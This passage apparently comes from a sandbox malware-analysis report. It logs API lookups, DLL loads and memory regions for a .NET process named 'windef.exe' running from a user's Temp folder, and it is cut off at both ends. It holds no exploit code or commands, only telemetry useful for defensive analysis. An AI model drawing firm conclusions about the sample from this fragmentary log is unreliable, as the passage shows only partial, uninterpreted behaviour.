Name="EndDialog", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff8dbe0) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="ExitWindowsEx", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff89b00) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="GetKeyState", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff82e70) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="CreatePopupMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff8a270) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="DestroyMenu", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff93a20) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="AppendMenuA", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeffe7ea0) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="AttachThreadInput", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff93c00) returned 0x0 [0141.055] LdrGetProcedureAddress (in: BaseAddress=0x7fffeff60000, Name="IsWindowVisible", Ordinal=0x0, ProcedureAddress=0x2d1c9bf900 | out: ProcedureAddress=0x2d1c9bf900*=0x7fffeff7fa10) returned 0x0 [0141.056] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="GDI32.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7ffff0340000) returned 0x0 [0141.056] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ADVAPI32.dll", BaseAddress=0x2d1c9bf978 | out: BaseAddress=0x2d1c9bf978*=0x7fffedd80000) returned 0x0 [0141.061] LdrLoadDll (SearchPath=0x0, LoadFlags=0x0, Name="SHELL32.dll", BaseAddress=0x2d1c9bf978) Thread: id = 16 os_tid = 0x1244 Process: id = "4" image_name = "windef.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe" page_root = "0x4f813000" os_pid = "0x27c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1184" cmd_line = "\"C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 675 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 676 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 677 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 678 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 679 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 680 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 681 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 682 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 683 start_va = 0xd30000 end_va = 0xd8dfff monitored = 1 entry_point = 0xd887be region_type = mapped_file name = "windef.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe") Region: id = 684 start_va = 0xd90000 end_va = 0xd91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 685 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 686 start_va = 0x7ee00000 end_va = 0x7ee22fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee00000" filename = "" Region: id = 687 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 688 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 689 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 690 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 691 start_va = 0x400000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 692 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 693 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 694 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 695 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 696 start_va = 0xda0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 697 start_va = 0x6f7d0000 end_va = 0x6f828fff monitored = 1 entry_point = 0x6f7e0780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 698 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 699 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 700 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 701 start_va = 0x7ed00000 end_va = 0x7edfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ed00000" filename = "" Region: id = 702 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 703 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 704 start_va = 0xd90000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 705 start_va = 0xe50000 end_va = 0xe5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 706 start_va = 0xee0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 709 start_va = 0xd90000 end_va = 0xd93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 710 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 711 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 712 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 713 start_va = 0x540000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 714 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 715 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 716 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 717 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 718 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 719 start_va = 0xda0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 720 start_va = 0x6f750000 end_va = 0x6f7ccfff monitored = 1 entry_point = 0x6f760db0 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 721 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 722 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 723 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 724 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 725 start_va = 0x640000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 726 start_va = 0xda0000 end_va = 0xdc9fff monitored = 0 entry_point = 0xda5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 727 start_va = 0xde0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 728 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 729 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 730 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 731 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 732 start_va = 0xfe0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 733 start_va = 0xdf0000 end_va = 0xe47fff monitored = 1 entry_point = 0xe487be region_type = mapped_file name = "windef.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe") Region: id = 734 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 735 start_va = 0x704e0000 end_va = 0x704e7fff monitored = 0 entry_point = 0x704e17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 736 start_va = 0x23e0000 end_va = 0x2ac0fff monitored = 1 entry_point = 0x240cd70 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 737 start_va = 0x6f060000 end_va = 0x6f740fff monitored = 1 entry_point = 0x6f08cd70 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 738 start_va = 0x6ef60000 end_va = 0x6f054fff monitored = 0 entry_point = 0x6efb4160 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 741 start_va = 0xda0000 end_va = 0xda0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 742 start_va = 0xdb0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 745 start_va = 0xdc0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 746 start_va = 0xdd0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 747 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 748 start_va = 0xe00000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 749 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 750 start_va = 0xe20000 end_va = 0xe20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 751 start_va = 0xe30000 end_va = 0xe30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 752 start_va = 0x23e0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 753 start_va = 0xe60000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 754 start_va = 0x4d0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 755 start_va = 0x960000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 756 start_va = 0xe40000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 757 start_va = 0x25c0000 end_va = 0x45bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 758 start_va = 0x23e0000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 759 start_va = 0x25b0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 760 start_va = 0xa60000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 761 start_va = 0xaa0000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 779 start_va = 0x45c0000 end_va = 0x48f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 802 start_va = 0x6dca0000 end_va = 0x6ef51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll") Region: id = 828 start_va = 0x75950000 end_va = 0x75a3afff monitored = 0 entry_point = 0x7598d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 829 start_va = 0x2480000 end_va = 0x2510fff monitored = 0 entry_point = 0x24b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 832 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 833 start_va = 0xe60000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 834 start_va = 0xeb0000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 837 start_va = 0xe40000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 838 start_va = 0x6d2d0000 end_va = 0x6dc9bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\1be7a15b1f33bf22e4f53aaf45518c77\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\1be7a15b1f33bf22e4f53aaf45518c77\\system.ni.dll") Region: id = 839 start_va = 0x6cba0000 end_va = 0x6d2c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\eb4cca4f06a15158c3f7e2c56516729b\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\eb4cca4f06a15158c3f7e2c56516729b\\system.core.ni.dll") Region: id = 840 start_va = 0xe60000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 841 start_va = 0xe70000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 842 start_va = 0x6cb20000 end_va = 0x6cb9ffff monitored = 1 entry_point = 0x6cb21180 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 843 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 844 start_va = 0xe80000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 845 start_va = 0x6c990000 end_va = 0x6cb1efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\1d52bd4ac5e0a6422058a5d62c9f6d9d\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\1d52bd4ac5e0a6422058a5d62c9f6d9d\\system.drawing.ni.dll") Region: id = 846 start_va = 0x6bd20000 end_va = 0x6c986fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\fb06ad4bc55b9c3ca68a3f9259d826cd\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\fb06ad4bc55b9c3ca68a3f9259d826cd\\system.windows.forms.ni.dll") Region: id = 847 start_va = 0x2480000 end_va = 0x254ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 848 start_va = 0xe90000 end_va = 0xe90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 849 start_va = 0x510000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 850 start_va = 0xe90000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 851 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 852 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 853 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 854 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 855 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 856 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 857 start_va = 0xe90000 end_va = 0xe90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 858 start_va = 0xea0000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 859 start_va = 0x71250000 end_va = 0x71262fff monitored = 0 entry_point = 0x71259950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 860 start_va = 0x70060000 end_va = 0x7008efff monitored = 0 entry_point = 0x700795e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 861 start_va = 0x71590000 end_va = 0x715aafff monitored = 0 entry_point = 0x71599050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 862 start_va = 0xea0000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 863 start_va = 0x6bc00000 end_va = 0x6bd1cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\98d3949f9ba1a384939805aa5e47e933\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\98d3949f9ba1a384939805aa5e47e933\\system.management.ni.dll") Region: id = 864 start_va = 0xea0000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 865 start_va = 0xba0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 866 start_va = 0xbe0000 end_va = 0xcdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 867 start_va = 0x7ecb0000 end_va = 0x7ecfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ecb0000" filename = "" Region: id = 868 start_va = 0x7eca0000 end_va = 0x7ecaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007eca0000" filename = "" Region: id = 869 start_va = 0xea0000 end_va = 0xea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 870 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 871 start_va = 0xec0000 end_va = 0xec0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ec0000" filename = "" Region: id = 872 start_va = 0x6bbe0000 end_va = 0x6bbfbfff monitored = 0 entry_point = 0x6bbeaa90 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 873 start_va = 0x6bb70000 end_va = 0x6bbd6fff monitored = 0 entry_point = 0x6bb8b610 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 874 start_va = 0x74db0000 end_va = 0x74e0efff monitored = 0 entry_point = 0x74db4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 875 start_va = 0xce0000 end_va = 0xd1ffff monitored = 1 